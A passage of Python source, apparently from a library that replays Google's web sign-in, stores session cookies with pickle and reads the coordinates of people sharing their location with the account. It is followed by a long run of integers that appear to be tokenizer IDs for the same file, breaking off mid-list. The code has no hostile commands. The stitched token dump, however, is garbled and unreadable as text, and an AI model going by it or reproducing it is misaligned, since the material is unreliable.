self._logger = logging.getLogger(logger_name)
self._session = Session()
agent = ('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) '
'Gecko/20100101 Firefox/59.0')
self._session.headers.update({'User-Agent': agent,
'Referer': 'https://www.google.com'})
self.email = email
self.password = password
self._login_url = 'https://accounts.google.com'
# Try login with cookie
if cookies_file and self._validate_cookie(cookies_file):
return
# Try login based on username/password
self._authenticate()
if cookies_file:
self._export_cookie(cookies_file)
def _validate_cookie(self, cookies_file):
try:
cfile = open(cookies_file, 'rb')
self._session.cookies = pickle.load(cfile)
except KeyError:
self._logger.error(('Could not load pickle file, '
'probably invalid pickle.'))
return False
except IOError:
self._logger.error(('Could not open pickle file, either file '
'does not exist or no read access.'))
return False
# Check if cookies are valid
response = self._session.get(self._login_url, verify=not DEBUG)
if SIGN_IN_MESSAGE in response.text:
message = ('The cookies provided do not provide a valid session.'
'Please authenticate normally and save a valid session '
'again')
raise InvalidCookies(message)
return True
def _export_cookie(self, cookies_file):
try:
cfile = open(cookies_file, 'wb')
pickle.dump(self._session.cookies, cfile)
except IOError:
message = 'Could not export cookies to {}.'.format(cookies_file)
raise InvalidCookies(message)
def _authenticate(self):
self._initialize()
self._submit_email()
self._submit_password()
def _initialize(self):
url = '{login_url}/ServiceLogin'.format(login_url=self._login_url)
response = self._session.get(url, verify=not DEBUG)
soap = Bfs(response.text, 'html.parser')
try:
data = soap.find('div', {'data-initial-sign-in-data': True})\
.get('data-initial-sign-in-data').replace('%.@.', '[')
self.req_id = json.loads(data)[30]
except (TypeError, KeyError):
self._logger.exception('Unable to parse response :%s', response.text)
raise InvalidData
except (ValueError, IndexError):
self._logger.exception('Unable to parse response :%s', data)
raise InvalidData
# Alternative method
# self.req_id = re.search(' data-initial-sign-in-data="%.*?"([\w-]{100,})"', response.text, re.S).group(1)
def _submit_email(self):
self._session.headers.update({'Google-Accounts-XSRF': '1'})
url = '{login_url}/_/signin/sl/lookup'.format(login_url=self._login_url)
req = '["{email}","{request_id}"]'.format(email=self.email, request_id=self.req_id)
response = self._session.post(url, data={'f.req': req}, verify=not DEBUG)
body = response.text.replace(REPLACE_PATTERN, '')
if self.email not in body:
raise InvalidUser(self.email)
try:
self.req_id = json.loads(body)[0][2]
except (ValueError, IndexError):
self._logger.exception('Unable to parse response :%s', body)
raise InvalidData
# Alternative method
# self.req_id = re.search('"([\w-]{100,})"', response.text, re.S).group(1)
def _submit_password(self):
url = '{login_url}/_/signin/sl/challenge'.format(login_url=self._login_url)
# Todo: I really don't know how to make this sturdier
req = '["{req_id}",null,null,null,[1,null,null,null,["{password}"]]]'\
.format(req_id=self.req_id, password=self.password)
response = self._session.post(url, data={'f.req': req}, verify=not DEBUG)
body = response.text.replace(REPLACE_PATTERN, '')
if INVALID_PASSWORD_TOKEN in body:
raise InvalidCredentials(body)
elif TOO_MANY_ATTEMPTS in body: # Todo: update TOO_MANY_ATTEMPTS constant?
raise TooManyFailedAuthenticationAttempts(body)
elif TWO_STEP_VERIFICATION in body:
self._handle_prompt(body)
def _handle_prompt(self, body):
# Borrowed with slight modification from https://git.io/vxu1A
try:
data = json.loads(body)
# Todo: I really don't know how to make this sturdier
data_key = data[0][10][0][0][23]['5004'][12]
data_tx_id = data[0][10][0][0][23]['5004'][1]
data_tl = data[1][2]
except (AttributeError, IndexError, KeyError):
message = 'Unexpected response received :{}'.format(body)
raise Unexpected2FAResponse(message)
await_url = ('https://content.googleapis.com/cryptauth/v1/'
'authzen/awaittx?alt=json&key={}').format(data_key)
await_body = {'txId': data_tx_id}
print("Open the Google App, and tap 'Yes' on the prompt to sign in ...")
self._session.headers['Referer'] = '{login_url}/signin/v2/challenge/az'.format(login_url=self._login_url)
response = self._session.post(await_url, json=await_body, verify=not DEBUG)
data = json.loads(response.text)
url = '{login_url}/_/signin/challenge?TL={tl}'.format(login_url=self._login_url, tl=data_tl)
req = '["{req_id}",null,5,null,[4,null,null,null,null,null,null,null,null,["{tx_token}",1,true]]]' \
.format(req_id=self.req_id, tx_token=data['txToken'])
response = self._session.post(url, data={'f.req': req}, verify=not DEBUG)
response.raise_for_status()
return response
def logout(self):
"""Logs the session out, invalidating the cookies
Returns:
True on success, False otherwise
"""
url = '{login_url}/Logout'.format(login_url=self._login_url)
response = self._session.get(url)
return response.ok
class CookieGetter(Authenticator): # pylint: disable=too-few-public-methods
"""Object to interactively get the cookies"""
def __init__(self, email, password, cookies_file='authenticated.cookies'):
super(CookieGetter, self).__init__(email,
password,
cookies_file=cookies_file)
class Service(Authenticator):
"""An object modeling the service to retrieve locations"""
def __init__(self, email, password, cookies_file=None):
super(Service, self).__init__(email,
password,
cookies_file=cookies_file)
@cached(STATE_CACHE)
def _get_data(self):
payload = {'authuser': 0,
'hl': 'en',
'gl': 'us',
# pd holds the information about the rendering of the map and
# it is irrelevant with the location sharing capabilities.
# the below info points to google's headquarters.
'pb': ('!1m7!8m6!1m3!1i14!2i8413!3i5385!2i6!3x4095'
'!2m3!1e0!2sm!3i407105169!3m7!2sen!5e1105!12m4'
'!1e68!2m2!1sset!2sRoadmap!4e1!5m4!1e4!8m2!1e0!'
'1e1!6m9!1e12!2i2!26m1!4b1!30m1!'
'1f1.3953487873077393!39b1!44e1!50e0!23i4111425')}
url = 'https://www.google.com/maps/preview/locationsharing/read'
response = self._session.get(url, params=payload, verify=not DEBUG)
self._logger.debug(response.text)
if response.ok:
try:
data = json.loads(response.text.split("'", 1)[1])
except (ValueError, IndexError, TypeError):
self._logger.exception('Unable to parse response :%s',
response.text)
data = ['']
else:
self._logger.warning('Received response code:%s', response.status_code)
data = ['']
return data
def get_shared_people(self):
"""Retrieves all people that share their location with this account"""
people = []
output = self._get_data()
for info in output[0]:
try:
people.append(Person(info))
except InvalidData:
self._logger.debug('Missing location or other info, dropping person with info: %s', info)
return people
def get_authenticated_person(self):
"""Retrieves the person associated with this account"""
try:
output = self._get_data()
person = Person([
self.email,
output[9][1],
None,
None,
None,
None,
[
None,
None,
self.email,
self.email
],
None,
None,
None,
None,
None,
None,
None,
])
except (IndexError, TypeError, InvalidData):
self._logger.debug('Missing essential info, cannot instantiate authenticated person')
return None
return person
def get_all_people(self):
"""Retrieves all people sharing their location"""
people = self.get_shared_people() + [self.get_authenticated_person()]
return filter(None, people)
def get_person_by_nickname(self, nickname):
"""Retrieves a person by nickname"""
return next((person for person in self.get_all_people()
if person.nickname.lower() == nickname.lower()), None)
def get_person_by_full_name(self, name):
"""Retrieves a person by full name"""
return next((person for person in self.get_all_people()
if person.full_name.lower() == name.lower()), None)
def get_coordinates_by_nickname(self, nickname):
"""Retrieves a person's coordinates by nickname"""
person = self.get_person_by_nickname(nickname)
if not person:
return '', ''
return person.latitude, person.longitude
def get_coordinates_by_full_name(self, name):
"""Retrieves a person's coordinates by full name"""
person = self.get_person_by_full_name(name)
if not person:
return '', ''
return person.latitude, person.longitude
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
3497,
29901,
14354,
29882,
4362,
1982,
29889,
2272,
13,
29937,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29955,
529,
5813,
29958,
13,
29937,
13,
29937,
20894,
2333,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
263,
3509,
13,
29937,
29871,
310,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
376,
6295,
14093,
4968,
304,
13,
29937,
29871,
5376,
297,
278,
18540,
1728,
24345,
29892,
3704,
1728,
29485,
278,
13,
29937,
29871,
10462,
304,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
1320,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
13,
29937,
29871,
19417,
14591,
310,
278,
18540,
29892,
322,
304,
14257,
12407,
304,
6029,
278,
18540,
338,
13,
29937,
29871,
15252,
3276,
304,
437,
577,
29892,
4967,
304,
278,
1494,
5855,
29901,
13,
29937,
13,
29937,
450,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
5134,
297,
13,
29937,
29871,
599,
14591,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
29937,
13,
29937,
6093,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
376,
3289,
8519,
613,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
8528,
15094,
1799,
6323,
13,
29937,
29871,
306,
3580,
5265,
3352,
29892,
2672,
6154,
15789,
4214,
350,
2692,
6058,
27848,
3352,
7495,
6093,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
29892,
13,
29937,
29871,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
5300,
405,
1164,
1177,
15860,
1177,
1692,
13780,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
13,
29937,
29871,
26524,
29950,
24125,
6323,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
20700,
17705,
6181,
15842,
13764,
29979,
315,
4375,
7833,
29892,
21330,
1529,
1692,
29903,
6323,
438,
29911,
4448,
13,
29937,
29871,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13764,
319,
9838,
8079,
8707,
29911,
4717,
1783,
29892,
323,
8476,
6323,
438,
29911,
4448,
22119,
1660,
29892,
9033,
3235,
4214,
13,
29937,
29871,
3895,
29892,
19474,
8079,
6323,
2672,
8707,
8186,
9838,
22659,
6093,
7791,
7818,
12982,
1525,
6323,
6093,
501,
1660,
6323,
438,
29911,
4448,
13,
29937,
29871,
5012,
1964,
4214,
29903,
2672,
6093,
7791,
7818,
12982,
1525,
29889,
13,
29937,
13,
13,
15945,
29908,
13,
6330,
775,
363,
14354,
29882,
4362,
1982,
13,
13,
636,
903,
14207,
5132,
22135,
16886,
29901,
13,
259,
1732,
597,
3608,
29889,
3292,
29889,
601,
29914,
22062,
1397,
29884,
680,
29914,
2272,
13075,
29889,
1420,
13,
13,
15945,
29908,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
5215,
4390,
13,
5215,
12183,
13,
5215,
5839,
280,
13,
3166,
12865,
1053,
12865,
13,
13,
3166,
24512,
29946,
1053,
25685,
29903,
1132,
408,
350,
5847,
13,
3166,
274,
496,
300,
8789,
1053,
323,
14632,
10408,
29892,
22152,
13,
3166,
7274,
1053,
16441,
13,
13,
3166,
869,
2029,
800,
29882,
4362,
1982,
11739,
29879,
1053,
313,
13919,
28037,
29892,
13,
462,
462,
965,
21403,
1469,
29892,
13,
462,
462,
965,
21403,
2659,
29892,
13,
462,
462,
965,
21403,
19159,
583,
29892,
13,
462,
462,
965,
1763,
29877,
14804,
17776,
16746,
4165,
3456,
29879,
29892,
13,
462,
462,
965,
1939,
1252,
6021,
2500,
8375,
29892,
13,
462,
462,
965,
10016,
29916,
6021,
29906,
4519,
5103,
29897,
13,
13,
1649,
8921,
1649,
353,
14550,
29966,
5813,
29958,
3532,
26862,
6227,
6778,
12008,
13,
1649,
1514,
4830,
1649,
353,
14550,
3608,
12008,
13,
1649,
1256,
1649,
353,
14550,
29906,
29900,
29896,
29955,
29899,
29896,
29906,
29899,
29906,
29946,
12008,
13,
1649,
8552,
1266,
1649,
353,
14550,
11882,
1266,
29871,
29906,
29900,
29896,
29955,
29892,
9839,
294,
9656,
8944,
2904,
359,
12008,
13,
1649,
11944,
1169,
1649,
353,
6796,
29966,
5813,
28341,
9872,
5813,
28341,
9872,
5813,
28341,
13,
1669,
9872,
5813,
28341,
9872,
5813,
29958,
3108,
13,
1649,
506,
1947,
1649,
353,
14550,
26349,
12008,
13,
1649,
29885,
2365,
4008,
1649,
353,
14550,
29966,
5813,
29958,
12008,
13,
1649,
5269,
1649,
353,
14550,
9314,
26862,
6227,
6778,
12008,
13,
1649,
4882,
1649,
353,
14550,
21956,
358,
12008,
29871,
396,
376,
1184,
10414,
613,
376,
21956,
358,
613,
376,
23665,
428,
1642,
13,
13,
29937,
910,
338,
278,
1667,
10944,
1304,
363,
12183,
13,
14480,
17070,
29918,
29933,
3289,
1430,
25797,
353,
14550,
2029,
800,
29882,
4362,
1982,
12008,
13,
14480,
17070,
353,
12183,
29889,
657,
16363,
29898,
14480,
17070,
29918,
29933,
3289,
1430,
25797,
29897,
13,
14480,
17070,
29889,
1202,
4598,
29898,
21027,
29889,
7327,
4598,
3101,
13,
13,
1525,
7390,
11538,
29918,
29925,
1299,
4945,
29940,
353,
376,
4638,
10162,
29905,
29876,
29908,
13,
5425,
20728,
29918,
1177,
29918,
2303,
1799,
10461,
353,
525,
10140,
297,
448,
5087,
16535,
29879,
29915,
13,
1177,
26707,
29918,
25711,
17013,
29918,
4986,
29968,
1430,
353,
12801,
25711,
17013,
16299,
13,
4986,
29949,
29918,
27616,
29979,
29918,
1299,
4330,
3580,
9375,
353,
525,
2525,
16515,
1363,
310,
2086,
1784,
5229,
14734,
29915,
13,
16240,
29949,
29918,
1254,
15488,
29918,
5348,
6545,
28541,
353,
525,
16240,
29949,
29918,
1254,
15488,
29918,
5348,
6545,
28541,
29915,
13,
19713,
29918,
29907,
2477,
29950,
4214,
29918,
1660,
6007,
8452,
353,
29871,
29941,
29900,
13,
13,
18525,
353,
451,
5852,
13,
13,
19713,
29918,
29907,
2477,
9606,
353,
323,
14632,
10408,
29898,
3317,
2311,
29922,
29896,
29892,
260,
15206,
29922,
19713,
29918,
29907,
2477,
29950,
4214,
29918,
1660,
6007,
8452,
29897,
13,
13,
13,
1990,
5196,
29901,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
517,
29877,
29899,
13011,
29899,
8758,
29899,
15697,
13,
1678,
9995,
29909,
2022,
19383,
967,
4423,
408,
10350,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
848,
1125,
13,
4706,
17927,
29918,
978,
353,
318,
29915,
29912,
3188,
1836,
29912,
2146,
600,
861,
29913,
4286,
4830,
29898,
3188,
29922,
14480,
17070,
29918,
29933,
3289,
1430,
25797,
29892,
13,
462,
462,
18884,
25557,
29922,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29897,
13,
4706,
1583,
3032,
21707,
353,
12183,
29889,
657,
16363,
29898,
21707,
29918,
978,
29897,
13,
4706,
1583,
3032,
333,
353,
6213,
13,
4706,
1583,
3032,
12095,
29918,
2271,
353,
6213,
13,
4706,
1583,
3032,
8159,
29918,
978,
353,
6213,
13,
4706,
1583,
3032,
19254,
978,
353,
6213,
13,
4706,
1583,
3032,
5066,
4279,
353,
6213,
13,
4706,
1583,
3032,
5426,
4279,
353,
6213,
13,
4706,
1583,
3032,
16394,
353,
6213,
13,
4706,
1583,
3032,
562,
2764,
4135,
353,
6213,
13,
4706,
1583,
3032,
7328,
353,
6213,
13,
4706,
1583,
3032,
13509,
29918,
401,
353,
6213,
13,
4706,
1583,
3032,
25389,
292,
353,
6213,
13,
4706,
1583,
3032,
29890,
2620,
29891,
29918,
5563,
353,
6213,
13,
4706,
1583,
3032,
7323,
5987,
29898,
1272,
29897,
13,
13,
1678,
822,
903,
7323,
5987,
29898,
1311,
29892,
848,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
3032,
333,
353,
848,
29961,
29953,
3816,
29900,
29962,
13,
9651,
1583,
3032,
12095,
29918,
2271,
353,
848,
29961,
29953,
3816,
29896,
29962,
13,
9651,
1583,
3032,
8159,
29918,
978,
353,
848,
29961,
29953,
3816,
29906,
29962,
13,
9651,
1583,
3032,
19254,
978,
353,
848,
29961,
29953,
3816,
29941,
29962,
13,
9651,
1583,
3032,
5066,
4279,
353,
848,
29961,
29896,
3816,
29896,
3816,
29906,
29962,
13,
9651,
1583,
3032,
5426,
4279,
353,
848,
29961,
29896,
3816,
29896,
3816,
29896,
29962,
13,
9651,
1583,
3032,
16394,
353,
848,
29961,
29896,
3816,
29906,
29962,
13,
9651,
1583,
3032,
562,
2764,
4135,
353,
848,
29961,
29896,
3816,
29941,
29962,
13,
9651,
1583,
3032,
7328,
353,
848,
29961,
29896,
3816,
29946,
29962,
13,
9651,
1583,
3032,
13509,
29918,
401,
353,
848,
29961,
29896,
3816,
29953,
29962,
13,
9651,
1583,
3032,
25389,
292,
353,
848,
29961,
29896,
29941,
3816,
29900,
29962,
13,
9651,
1583,
3032,
29890,
2620,
29891,
29918,
5563,
353,
848,
29961,
29896,
29941,
3816,
29896,
29962,
13,
4706,
5174,
313,
3220,
2392,
29892,
20948,
1125,
13,
9651,
1583,
3032,
21707,
29889,
8382,
29898,
1272,
29897,
13,
9651,
12020,
21403,
1469,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
1426,
353,
313,
29884,
29915,
13658,
1024,
4706,
584,
8875,
4286,
4830,
29898,
1311,
29889,
8159,
29918,
978,
511,
13,
18884,
318,
29915,
29940,
860,
978,
308,
584,
8875,
4286,
4830,
29898,
1311,
29889,
19254,
978,
511,
13,
18884,
318,
29915,
7583,
4423,
584,
8875,
4286,
4830,
29898,
1311,
29889,
7328,
511,
13,
18884,
318,
29915,
13992,
12356,
308,
584,
8875,
4286,
4830,
29898,
1311,
29889,
5066,
4279,
511,
13,
18884,
318,
29915,
8208,
4279,
4706,
584,
8875,
4286,
4830,
29898,
1311,
29889,
5426,
4279,
511,
13,
18884,
318,
29915,
16390,
5410,
308,
584,
8875,
4286,
4830,
29898,
1311,
29889,
12673,
511,
13,
18884,
318,
29915,
1451,
1191,
292,
308,
584,
8875,
4286,
4830,
29898,
1311,
29889,
25389,
292,
511,
13,
18884,
318,
29915,
29933,
2620,
29891,
1273,
4706,
584,
8875,
4286,
4830,
29898,
1311,
29889,
29890,
2620,
29891,
29918,
5563,
511,
13,
18884,
318,
29915,
7504,
332,
4135,
308,
584,
8875,
4286,
4830,
29898,
1311,
3032,
562,
2764,
4135,
876,
13,
4706,
736,
11297,
29876,
4286,
7122,
29898,
726,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1178,
29898,
1311,
1125,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
20965,
29899,
978,
13,
4706,
9995,
1576,
7463,
5386,
1178,
310,
278,
3633,
15945,
29908,
13,
4706,
736,
1583,
3032,
333,
470,
1583,
29889,
8159,
29918,
978,
13,
13,
1678,
732,
6799,
13,
1678,
822,
7623,
29918,
2271,
29898,
1311,
1125,
13,
4706,
9995,
1576,
3142,
310,
278,
2022,
29915,
29879,
1029,
14873,
15945,
29908,
13,
4706,
736,
1583,
3032,
12095,
29918,
2271,
13,
13,
1678,
732,
6799,
13,
1678,
822,
2989,
29918,
978,
29898,
1311,
1125,
13,
4706,
9995,
1576,
2989,
1024,
310,
278,
1404,
408,
731,
297,
5386,
15945,
29908,
13,
4706,
736,
1583,
3032,
8159,
29918,
978,
13,
13,
1678,
732,
6799,
13,
1678,
822,
25985,
978,
29898,
1311,
1125,
13,
4706,
9995,
1576,
25985,
978,
408,
731,
297,
5386,
15945,
29908,
13,
4706,
736,
1583,
3032,
19254,
978,
13,
13,
1678,
732,
6799,
13,
1678,
822,
26271,
29898,
1311,
1125,
13,
4706,
9995,
1576,
26271,
310,
278,
2022,
29915,
29879,
1857,
4423,
15945,
29908,
13,
4706,
736,
1583,
3032,
5066,
4279,
13,
13,
1678,
732,
6799,
13,
1678,
822,
28745,
29898,
1311,
1125,
13,
4706,
9995,
1576,
28745,
310,
278,
2022,
29915,
29879,
1857,
4423,
15945,
29908,
13,
4706,
736,
1583,
3032,
5426,
4279,
13,
13,
1678,
732,
6799,
13,
1678,
822,
14334,
29898,
1311,
1125,
13,
4706,
9995,
1576,
14334,
310,
278,
4423,
5663,
16837,
15945,
29908,
13,
4706,
736,
1583,
3032,
16394,
13,
13,
1678,
732,
6799,
13,
1678,
822,
12865,
29898,
1311,
1125,
13,
4706,
9995,
29909,
12865,
8954,
310,
278,
4423,
5663,
16837,
15945,
29908,
13,
4706,
736,
12865,
29889,
3166,
16394,
29898,
524,
29898,
1311,
29889,
16394,
29897,
847,
29871,
29896,
29900,
29900,
29900,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3211,
29898,
1311,
1125,
13,
4706,
9995,
1576,
3211,
408,
8967,
491,
5386,
363,
278,
1857,
4423,
15945,
29908,
13,
4706,
736,
1583,
3032,
7328,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4234,
29918,
401,
29898,
1311,
1125,
13,
4706,
9995,
1576,
4423,
29915,
29879,
4234,
775,
15945,
29908,
13,
4706,
736,
1583,
3032,
13509,
29918,
401,
13,
13,
1678,
732,
6799,
13,
1678,
822,
13600,
29898,
1311,
1125,
13,
4706,
9995,
1576,
13600,
310,
278,
330,
567,
15945,
29908,
13,
4706,
736,
1583,
3032,
562,
2764,
4135,
13,
13,
1678,
732,
6799,
13,
1678,
822,
9151,
292,
29898,
1311,
1125,
13,
4706,
9995,
8809,
1979,
470,
451,
278,
1404,
29915,
29879,
4742,
338,
9151,
292,
15945,
29908,
13,
4706,
736,
6120,
29898,
1311,
3032,
25389,
292,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
16988,
29918,
5563,
29898,
1311,
1125,
13,
4706,
9995,
1576,
16988,
3233,
310,
278,
1404,
29915,
29879,
4742,
15945,
29908,
13,
4706,
736,
1583,
3032,
29890,
2620,
29891,
29918,
5563,
13,
13,
13,
1990,
13189,
4173,
1061,
29901,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
517,
29877,
29899,
29888,
809,
29899,
3597,
29899,
23515,
13,
1678,
9995,
3481,
793,
278,
10760,
411,
5386,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4876,
29892,
4800,
29892,
21046,
29918,
1445,
29922,
8516,
1125,
13,
4706,
17927,
29918,
978,
353,
318,
29915,
29912,
3188,
1836,
29912,
2146,
600,
861,
29913,
4286,
4830,
29898,
3188,
29922,
14480,
17070,
29918,
29933,
3289,
1430,
25797,
29892,
13,
462,
462,
18884,
25557,
29922,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29897,
13,
4706,
1583,
3032,
21707,
353,
12183,
29889,
657,
16363,
29898,
21707,
29918,
978,
29897,
13,
4706,
1583,
3032,
7924,
353,
16441,
580,
13,
4706,
10823,
353,
6702,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
29990,
29896,
29896,
29936,
8294,
29936,
8074,
921,
29947,
29953,
29918,
29953,
29946,
29936,
364,
29894,
29901,
29945,
29929,
29889,
29900,
29897,
525,
13,
462,
525,
7999,
27604,
29914,
29906,
29900,
29896,
29900,
29900,
29896,
29900,
29896,
14418,
29914,
29945,
29929,
29889,
29900,
1495,
13,
4706,
1583,
3032,
7924,
29889,
13662,
29889,
5504,
3319,
29915,
2659,
29899,
19661,
2396,
10823,
29892,
13,
462,
462,
418,
525,
1123,
571,
261,
2396,
525,
991,
597,
1636,
29889,
3608,
29889,
510,
29915,
1800,
13,
4706,
1583,
29889,
5269,
353,
4876,
13,
4706,
1583,
29889,
5630,
353,
4800,
13,
4706,
1583,
3032,
7507,
29918,
2271,
353,
525,
991,
597,
10149,
29879,
29889,
3608,
29889,
510,
29915,
13,
13,
4706,
396,
3967,
6464,
411,
15327,
13,
4706,
565,
21046,
29918,
1445,
322,
1583,
3032,
15480,
29918,
21509,
29898,
15108,
583,
29918,
1445,
1125,
13,
9651,
736,
13,
13,
4706,
396,
3967,
6464,
2729,
373,
8952,
29914,
5630,
13,
4706,
1583,
3032,
27218,
403,
580,
13,
4706,
565,
21046,
29918,
1445,
29901,
13,
9651,
1583,
3032,
15843,
29918,
21509,
29898,
15108,
583,
29918,
1445,
29897,
13,
13,
1678,
822,
903,
15480,
29918,
21509,
29898,
1311,
29892,
21046,
29918,
1445,
1125,
13,
4706,
1018,
29901,
13,
9651,
274,
1445,
353,
1722,
29898,
15108,
583,
29918,
1445,
29892,
525,
6050,
1495,
13,
9651,
1583,
3032,
7924,
29889,
15108,
583,
353,
5839,
280,
29889,
1359,
29898,
29883,
1445,
29897,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
1583,
3032,
21707,
29889,
2704,
29898,
877,
23323,
451,
2254,
5839,
280,
934,
29892,
525,
13,
462,
18884,
525,
771,
14815,
8340,
5839,
280,
6169,
876,
13,
9651,
736,
7700,
13,
4706,
5174,
10663,
2392,
29901,
13,
9651,
1583,
3032,
21707,
29889,
2704,
29898,
877,
23323,
451,
1722,
5839,
280,
934,
29892,
2845,
934,
525,
13,
462,
18884,
525,
13221,
451,
1863,
470,
694,
1303,
2130,
6169,
876,
13,
9651,
736,
7700,
13,
13,
4706,
396,
5399,
565,
21046,
526,
2854,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
657,
29898,
1311,
3032,
7507,
29918,
2271,
29892,
11539,
29922,
1333,
21681,
29897,
13,
4706,
565,
317,
17298,
29918,
1177,
29918,
2303,
1799,
10461,
297,
2933,
29889,
726,
29901,
13,
9651,
2643,
353,
6702,
1576,
21046,
4944,
437,
451,
3867,
263,
2854,
4867,
6169,
13,
462,
539,
525,
12148,
15585,
403,
12891,
322,
4078,
263,
2854,
4867,
525,
13,
462,
539,
525,
351,
475,
1495,
13,
9651,
12020,
21403,
19159,
583,
29898,
4906,
29897,
13,
13,
4706,
736,
5852,
13,
13,
1678,
822,
903,
15843,
29918,
21509,
29898,
1311,
29892,
21046,
29918,
1445,
1125,
13,
4706,
1018,
29901,
13,
9651,
274,
1445,
353,
1722,
29898,
15108,
583,
29918,
1445,
29892,
525,
29893,
29890,
1495,
13,
9651,
5839,
280,
29889,
15070,
29898,
1311,
3032,
7924,
29889,
15108,
583,
29892,
274,
1445,
29897,
13,
4706,
5174,
10663,
2392,
29901,
13,
9651,
2643,
353,
525,
23323,
451,
5609,
21046,
304,
426,
1836,
4286,
4830,
29898,
15108,
583,
29918,
1445,
29897,
13,
9651,
12020,
21403,
19159,
583,
29898,
4906,
29897,
13,
13,
1678,
822,
903,
27218,
403,
29898,
1311,
1125,
13,
4706,
1583,
3032,
24926,
580,
13,
4706,
1583,
3032,
7892,
29918,
5269,
580,
13,
4706,
1583,
3032,
7892,
29918,
5630,
580,
13,
13,
1678,
822,
903,
24926,
29898,
1311,
1125,
13,
4706,
3142,
353,
22372,
7507,
29918,
2271,
6822,
3170,
11049,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29897,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
657,
29898,
2271,
29892,
11539,
29922,
1333,
21681,
29897,
13,
4706,
29559,
353,
350,
5847,
29898,
5327,
29889,
726,
29892,
525,
1420,
29889,
16680,
1495,
13,
4706,
1018,
29901,
13,
9651,
848,
353,
29559,
29889,
2886,
877,
4563,
742,
11117,
1272,
29899,
11228,
29899,
4530,
29899,
262,
29899,
1272,
2396,
5852,
11606,
13,
18884,
869,
657,
877,
1272,
29899,
11228,
29899,
4530,
29899,
262,
29899,
1272,
2824,
6506,
877,
15543,
29992,
29889,
742,
525,
29961,
1495,
13,
9651,
1583,
29889,
7971,
29918,
333,
353,
4390,
29889,
18132,
29898,
1272,
9601,
29941,
29900,
29962,
13,
4706,
5174,
313,
1542,
2392,
29892,
7670,
2392,
1125,
13,
9651,
1583,
3032,
21707,
29889,
11739,
877,
2525,
519,
304,
6088,
2933,
584,
29995,
29879,
742,
2933,
29889,
726,
29897,
13,
9651,
12020,
21403,
1469,
13,
4706,
5174,
313,
1917,
2392,
29892,
11374,
2392,
1125,
13,
9651,
1583,
3032,
21707,
29889,
11739,
877,
2525,
519,
304,
6088,
2933,
584,
29995,
29879,
742,
848,
29897,
13,
9651,
12020,
21403,
1469,
13,
4706,
396,
12440,
1230,
1158,
13,
4706,
396,
1583,
29889,
7971,
29918,
333,
353,
337,
29889,
4478,
877,
848,
29899,
11228,
29899,
4530,
29899,
262,
29899,
1272,
543,
29995,
5575,
29973,
29987,
23083,
29936,
4197,
29905,
29893,
29899,
3199,
29896,
29900,
29900,
29892,
1800,
29987,
23083,
29936,
742,
2933,
29889,
726,
29892,
337,
29889,
29903,
467,
2972,
29898,
29896,
29897,
13,
13,
1678,
822,
903,
7892,
29918,
5269,
29898,
1311,
1125,
13,
4706,
1583,
3032,
7924,
29889,
13662,
29889,
5504,
3319,
29915,
14207,
29899,
10601,
29879,
29899,
29990,
14098,
29943,
2396,
525,
29896,
29915,
1800,
13,
4706,
3142,
353,
22372,
7507,
29918,
2271,
6822,
29918,
29914,
4530,
262,
29914,
2536,
29914,
20401,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29897,
13,
4706,
12428,
353,
525,
3366,
29912,
5269,
29913,
3284,
29912,
3827,
29918,
333,
29913,
3108,
4286,
4830,
29898,
5269,
29922,
1311,
29889,
5269,
29892,
2009,
29918,
333,
29922,
1311,
29889,
7971,
29918,
333,
29897,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
2490,
29898,
2271,
29892,
848,
3790,
29915,
29888,
29889,
7971,
2396,
12428,
1118,
11539,
29922,
1333,
21681,
29897,
13,
4706,
3573,
353,
2933,
29889,
726,
29889,
6506,
29898,
1525,
7390,
11538,
29918,
29925,
1299,
4945,
29940,
29892,
27255,
13,
4706,
565,
1583,
29889,
5269,
451,
297,
3573,
29901,
13,
9651,
12020,
21403,
2659,
29898,
1311,
29889,
5269,
29897,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
7971,
29918,
333,
353,
4390,
29889,
18132,
29898,
2587,
9601,
29900,
